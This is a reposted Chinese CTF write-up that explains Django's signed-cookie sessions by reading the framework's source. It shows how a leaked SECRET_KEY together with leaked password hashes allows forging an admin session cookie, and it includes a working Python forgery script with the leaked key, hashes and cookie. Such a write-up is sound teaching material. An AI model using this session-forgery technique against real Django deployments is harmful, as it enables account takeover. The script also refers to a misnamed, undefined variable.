从hackgame2019一道web分析Django cookie-session的安全性
2019-10-26 10:24:08 Author: xz.aliyun.com(查看原文) 阅读量:208 收藏

直接进入正题。

被泄漏的姜戈

Description

「听说有离职的同学,把你们的代码和数据库泄漏了出去?好像还在什么 hub 还是 lab 来着建了一个叫 openlug……」

「没关系,反正 admin 用户的密码长度有 1024 位,我自己都忘了密码,就算老天爷来了,也看不到我们的 flag!」

http://202.38.93.241:10019/

Solution

首先根据提示,从Github下载到了题目的源码:openlug/django-common

理一下源码,发现是用Django写的一个简单的登录应用,而且是用django-admin生成的模板代码改的。在settings.py里面找到了一些有用的信息。

源码23行记录了Django使用的SECRET_KEY

# Quick-start development settings - unsuitable for production
# See https://docs.djangoproject.com/en/2.2/howto/deployment/checklist/

# SECURITY WARNING: keep the secret key used in production non-secret!
SECRET_KEY = 'd7um#o19q+v24!vkgzrxme41wz5#_h0#f_6u62fx0m@k&uwe39'

第57行配置了应用所使用的session存储方式是signed_cookies

ROOT_URLCONF = 'openlug.urls'
# for database performance
SESSION_ENGINE = 'django.contrib.sessions.backends.signed_cookies'
# javascript code can get document.cookie, debug
SESSION_COOKIE_HTTPONLY = False

Django有很多种session的存储方式,查阅文档大概有以下几种

  • Using database-backed sessions
  • Using cached sessions
  • Using file-based sessions
  • Using cookie-based sessions

其中cookie-based sessions是一种客户端session,与flask的那种客户端session一个原理。是将session里的字段通过Django自己设计的sign算法签名编码之后存放在客户端的cookie中,然后每次客户端带着这个cookie访问,服务端再次通过sign算法验证,从而拿到session。

利用django的sign算法编码与解码session的例子如下:

>>> from django.core import signing
>>> value = signing.dumps({"foo": "bar"})
>>> value
'eyJmb28iOiJiYXIifQ:1NMg1b:zGcDE4-TCkaeGzLeW9UQwZesciI'
>>> signing.loads(value)
{'foo': 'bar'}

这里需要注意的是loads和dumps时候其实是要带上一个额外的key参数的,如果不配置就默认是app的SECRET_KEY,但命令行启动的环境是没有配置的,所以我们带上key才可以进行解码。

然后我利用上面django提供的api进行session解码,发现解不了。题目中给的SECRET_KEY应该是没问题的,看API文档发现还有个salt参数,默认值是"django.core.signing"。猜想可能是这个参数错了。

dumps(obj, key=None, salt='django.core.signing', compress=False)[source]¶
Returns URL-safe, sha1 signed base64 compressed JSON string. Serialized object is signed using TimestampSigner.

loads(string, key=None, salt='django.core.signing', max_age=None)[source]¶
Reverse of dumps(), raises BadSignature if signature fails. Checks max_age (in seconds) if given.

只能翻源码找这个salt到底是什么。这里应该很容易发现dumps和loads的参数是一样的,所以找到了signed_cookies的dumps方法和loads方法等效。

django/django/contrib/sessions/backends/signed_cookies.py的SessionStore->load方法

from django.contrib.sessions.backends.base import SessionBase
from django.core import signing


class SessionStore(SessionBase):

    def load(self):
        """
        Load the data from the key itself instead of fetching from some
        external data store. Opposite of _get_session_key(), raise BadSignature
        if signature fails.
        """
        try:
            return signing.loads(
                self.session_key,
                serializer=self.serializer,
                # This doesn't handle non-default expiry dates, see #19201
                max_age=self.get_session_cookie_age(),
                salt='django.contrib.sessions.backends.signed_cookies',
            )
        except Exception:
            # BadSignature, ValueError, or unpickling exceptions. If any of
            # these happen, reset the session.
            self.create()
        return {}
...

发现session的载入方法就是封装了一层signing.loads,然后指定了特定的salt"django.contrib.sessions.backends.signed_cookies"。利用这个发现,我们可以decode题目中给出的session-cookie了。

目前为止,我们有:

  • SECRET_KEY = 'd7um#o19q+v24!vkgzrxme41wz5#_h0#f_6u62fx0m@k&uwe39'
  • session_cookie: .eJxVjDEOgzAMRe_iGUUQULE7du8ZIid2GtoqkQhMVe8OSAzt-t97_wOO1yW5tersJoErWGh-N8_hpfkA8uT8KCaUvMyTN4diTlrNvYi-b6f7d5C4pr1uGXGI6AnHGLhjsuESqRdqByvYq_JohVDguwH3fzGM:1iKPsz:xrFwkuWPqOeflwOyQzcnEZF3gqQ

调用decode api解码得到如下结果:

>>>signing.loads(session_cookie,key="d7um#o19q+v24!vkgzrxme41wz5#_h0#f_6u62fx0m@k&uwe39",salt="django.contrib.sessions.backends.signed_cookies")
{'_auth_user_id': '2', '_auth_user_backend': 'django.contrib.auth.backends.ModelBackend', '_auth_user_hash': '0a884f8b987fca1a92c6f93d9042d83eea72d98d'}

可以看到有三个字段

  • _auth_user_id
  • _auth_user_backend
  • _auth_user_hash

这时候我尝试只修改_auth_user_id字段为1,然后encode之后,登录失败了。猜想可能后面的_auth_user_hash字段也要正确才能通过验证。于是继续翻源码,

在django/django/contrib/auth/init.py我们发现了登录验证函数:

import inspect
import re

from django.apps import apps as django_apps
from django.conf import settings
from django.core.exceptions import ImproperlyConfigured, PermissionDenied
from django.middleware.csrf import rotate_token
from django.utils.crypto import constant_time_compare
from django.utils.module_loading import import_string
from django.utils.translation import LANGUAGE_SESSION_KEY

from .signals import user_logged_in, user_logged_out, user_login_failed

SESSION_KEY = '_auth_user_id'
BACKEND_SESSION_KEY = '_auth_user_backend'
HASH_SESSION_KEY = '_auth_user_hash'
REDIRECT_FIELD_NAME = 'next'

...
def login(request, user, backend=None):
    """
    Persist a user id and a backend in the request. This way a user doesn't
    have to reauthenticate on every request. Note that data set during
    the anonymous session is retained when the user logs in.
    """
    session_auth_hash = ''
    if user is None:
        user = request.user
    if hasattr(user, 'get_session_auth_hash'):
        session_auth_hash = user.get_session_auth_hash()

    if SESSION_KEY in request.session:
        if _get_user_session_key(request) != user.pk or (
                session_auth_hash and
                not constant_time_compare(request.session.get(HASH_SESSION_KEY, ''), session_auth_hash)):
            # To avoid reusing another user's session, create a new, empty
            # session if the existing session corresponds to a different
            # authenticated user.
            request.session.flush()
    else:
        request.session.cycle_key()

    try:
        backend = backend or user.backend
    except AttributeError:
        backends = _get_backends(return_tuples=True)
        if len(backends) == 1:
            _, backend = backends[0]
        else:
            raise ValueError(
                'You have multiple authentication backends configured and '
                'therefore must provide the `backend` argument or set the '
                '`backend` attribute on the user.'
            )
    else:
        if not isinstance(backend, str):
            raise TypeError('backend must be a dotted import path string (got %r).' % backend)

    request.session[SESSION_KEY] = user._meta.pk.value_to_string(user)
    request.session[BACKEND_SESSION_KEY] = backend
    request.session[HASH_SESSION_KEY] = session_auth_hash
    if hasattr(request, 'user'):
        request.user = user
    rotate_token(request)
    user_logged_in.send(sender=user.__class__, request=request, user=user)
...

可以看到调用了user.get_session_auth_hash()获得session_auth_hash,并且之后赋值给了request.session[HASH_SESSION_KEY] = session_auth_hash,而HASH_SESSION_KEY就是字符串
"_auth_user_hash",所以我们跟进user.get_session_auth_hash()

在django/django/contrib/auth/base_user.py:

...

def get_session_auth_hash(self):
"""
Return an HMAC of the password field.
"""
key_salt = "django.contrib.auth.models.AbstractBaseUser.get_session_auth_hash"
return salted_hmac(key_salt, self.password).hexdigest()
...

可以发现就是key_saltself.password传入salted_hmac进行hash。但这里用到了self.password,也就是说想计算这个hash值还需要知道密码才行。但我们计算这个hash的目的就是为了伪造session,如果密码都知道了那还伪造个毛?直接登录不就可以了?这里感觉有点奇怪,不应该用密码才对。我们看看这个self.password是怎么来的:

在django/django/contrib/auth/base_user.py:

class AbstractBaseUser(models.Model):
...

    def set_password(self, raw_password):
        self.password = make_password(raw_password)
        self._password = raw_password

我们发现self.password其实并不是raw_password,raw_password其实是存在了self._password变量里面,真是具有迷惑性的名字。我们跟进make_password函数:

在django/django/contrib/auth/handlers.py:

def make_password(password, salt=None, hasher='default'):
    """
    Turn a plain-text password into a hash for database storage

    Same as encode() but generate a new random salt. If password is None then
    return a concatenation of UNUSABLE_PASSWORD_PREFIX and a random string,
    which disallows logins. Additional random string reduces chances of gaining
    access to staff or superuser accounts. See ticket #20079 for more info.
    """
    if password is None:
        return UNUSABLE_PASSWORD_PREFIX + get_random_string(UNUSABLE_PASSWORD_SUFFIX_LENGTH)
    hasher = get_hasher(hasher)
    salt = salt or hasher.salt()
    return hasher.encode(password, salt)

发现make_password函数原始的作用是Turn a plain-text password into a hash for database storage,也就是说这个函数是计算原始明文密码的hash的,这个hash是存在数据库里面的,也就是通常大家在脱库时候脱出来的密码md5类似。

所以这里就很明了了。整个_auth_user_hash字段的计算就是

raw_password > make_password(raw_password) > salted_hmac(key_salt, make_password(raw_password)).hexdigest()

而这里的key_salt在django/django/contrib/auth/base_user.py直接给出了,make_password(raw_password)的值也存放在数据库里面,也是知道的,这样就可以计算出_auth_user_hash的值,从而伪造session了。

至此,翻源码到此为止了,整个session_cookie的生成以及session里面的各个字段的生成原理也搞明白了。

这里可以看出来是有两重的保护的。

  1. Django这个框架的SECRET_KEY保证了session_cookie没法被恶意篡改
  2. django-admin这个框架的_auth_user_hash保证攻击者还要拿到密码的哈希值才能进行伪造

本题就是同时泄露了SECRET_KEY和密码哈希,所以才能进行伪造。

下面是简单的验证代码:

from django.core import signing
from django.utils.crypto import salted_hmac


SECRET_KEY = 'd7um#o19q+v24!vkgzrxme41wz5#_h0#f_6u62fx0m@k&uwe39'
guest_hash = 'pbkdf2_sha256$150000$8GFvEvr58uL6$YWM8Fqu8t/UYcW4iHqxXpkKPMEzlUvxbeHYJI45qBHM='
admin_hash = 'pbkdf2_sha256$150000$KkiPe6beZ4MS$UWamIORhxnonmT4yAVnoUxScVzrqDTiE9YrrKFmX3hE='

guest_session_cookie = '.eJxVjDEOgzAMRe_iGUUQULE7du8ZIid2GtoqkQhMVe8OSAzt-t97_wOO1yW5tersJoErWGh-N8_hpfkA8uT8KCaUvMyTN4diTlrNvYi-b6f7d5C4pr1uGXGI6AnHGLhjsuESqRdqByvYq_JohVDguwH3fzGM:1iKPsz:xrFwkuWPqOeflwOyQzcnEZF3gqQ'
signed_cookie_slat = 'django.contrib.sessions.backends.signed_cookies'

# load guest session_cookie
guest_session_cookie_dict = signing.loads(guest_session_cookie,key=SECRET_KEY,salt=signed_cookie_slat)

# {'_auth_user_id': '2', '_auth_user_backend': 'django.contrib.auth.backends.ModelBackend', '_auth_user_hash': '0a884f8b987fca1a92c6f93d9042d83eea72d98d'}

key_salt = "django.contrib.auth.models.AbstractBaseUser.get_session_auth_hash"

# validate "_auth_user_hash"
assert salted_hmac(key_salt, guest_hash, secret=SECRET_KEY).hexdigest() == guest_cookie_dict['_auth_user_hash']

# no message is good message

# fake session cookie
fake_admin_session_cookie_dict = {'_auth_user_id': '1', '_auth_user_backend': 'django.contrib.auth.backends.ModelBackend', '_auth_user_hash': '0a884f8b987fca1a92c6f93d9042d83eea72d98d'}

fake_admin_session_cookie_dict['_auth_user_hash'] = salted_hmac(key_salt, admin_hash, secret=SECRET_KEY).hexdigest() 

# encode
fake_admin_session_cookie = signing.dumps(fake_admin_session_cookie_dict,key=SECRET_KEY,salt=signed_cookie_slat)

print(fake_admin_session_cookie)

完。


文章来源: http://xz.aliyun.com/t/6610
如有侵权请联系:admin#unsafe.sh